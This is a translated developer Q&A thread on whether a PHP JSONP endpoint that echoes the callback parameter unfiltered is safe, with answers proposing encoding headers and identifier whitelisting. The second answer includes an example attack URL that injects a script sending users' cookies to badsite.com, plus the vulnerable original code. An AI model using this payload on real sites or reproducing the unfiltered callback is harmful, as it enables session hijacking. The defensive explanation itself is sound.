这对于提供 JSONP 是否安全?

2022-08-30 18:32:32
<?php header('content-type: application/json');

$json = json_encode($data);

echo isset($_GET['callback'])
    ? "{$_GET['callback']}($json)"
    : $json;

或者,我应该例如过滤变量,使其仅包含有效的JavaScript函数名称?如果是这样,什么是有效的 JavaScript 函数名称?$_GET['callback']

或者,使用 JSONP 筛选该变量不是一点问题吗?


当前解决方案:http://www.geekality.net/?p=1021 上写了关于我当前解决方案的博客。简而言之,现在,我有以下代码,希望它应该非常安全:

<?php header('content-type: application/json; charset=utf-8');

function is_valid_callback($subject)
{
     $identifier_syntax
       = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u';

     $reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case',
       'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue', 
       'for', 'switch', 'while', 'debugger', 'function', 'this', 'with', 
       'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum', 
       'extends', 'super', 'const', 'export', 'import', 'implements', 'let', 
       'private', 'public', 'yield', 'interface', 'package', 'protected', 
       'static', 'null', 'true', 'false');

     return preg_match($identifier_syntax, $subject)
         && ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words);
}

$data = array(1, 2, 3, 4, 5, 6, 7, 8, 9);
$json = json_encode($data);

# JSON if no callback
if( ! isset($_GET['callback']))
     exit( $json );

# JSONP if valid callback
if(is_valid_callback($_GET['callback']))
     exit( "{$_GET['callback']}($json)" );

# Otherwise, bad request
header('Status: 400 Bad Request', true, 400);

答案 1

否,如果您打算将 JSONP 限制为选择域。也指定编码,否则不应能够访问 JSON 的人员可能会执行 UTF-7 注入攻击。请改用以下标头:

header('Content-Type: application/json; charset=utf-8');

如果它应该是一个公共JSONP服务,那么是的,它是安全的,并且也使用代替.application/javascriptapplication/json


答案 2

为了安全起见,您应该编码为仅允许有效的 JS 函数名称。没有什么复杂的,只是不允许最终开发人员注入任何javascript。下面是一些代码:callback

<?php

    header('Content-Type: application/json; charset=utf-8'); // Thanks Eli

    /**
     * Ensures that input string matches a set of whitelisted characters and
     * replaces unlisted ones with a replacement string (defaults to underscore).
     * @param string $orig The original text to filter.
     * @param string $replace The replacement string (default is underscore).
     * @param string The original text with bad characters replaced with $replace.
     * @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263
     */
    function strtoident($orig,$replace=''){
        $orig=(string)$orig;                  // ensure input is a string
        for($i=0; $i<strlen($orig); $i++){
            $o=ord($orig{$i});
            if(!(  (($o>=48) && ($o<=57))     // numbers
                || (($o>=97) && ($o<=122))    // lowercase
                || (($o>=65) && ($o<=90))     // uppercase
                || ($orig{$i}=='_')))         // underscore
                   $orig{$i}=$replace;        // check failed, use replacement
        }
        return $orig;
    }

    $json=json_encode($data)

    echo isset($_GET['callback'])
        ? strtoident($_GET['callback']).'('.$json.');'
        : $json;

?>

编辑:

原因是为了避免黑客将无辜的受害者指向:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

这可以细分为:

(function(){
    $(document.body).append(
        '<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'
    );
})//("whatever");

后一部分是你编码的json,很容易用注释抵消(尽管没有必要让他们的漏洞利用工作)。基本上,黑客可以了解用户的cookie(以及其他内容),这有助于他访问您网站上的用户帐户。

编辑:UTF-8 兼容性。为了证实我的说法,请阅读此处。艺术

与 UTF-16 和 UTF-32 一样,UTF-8 可以表示 Unicode 字符集中的每个字符。与它们不同,它与ASCII向后兼容,并避免了字节序和字节序标记(BOM)的复杂性。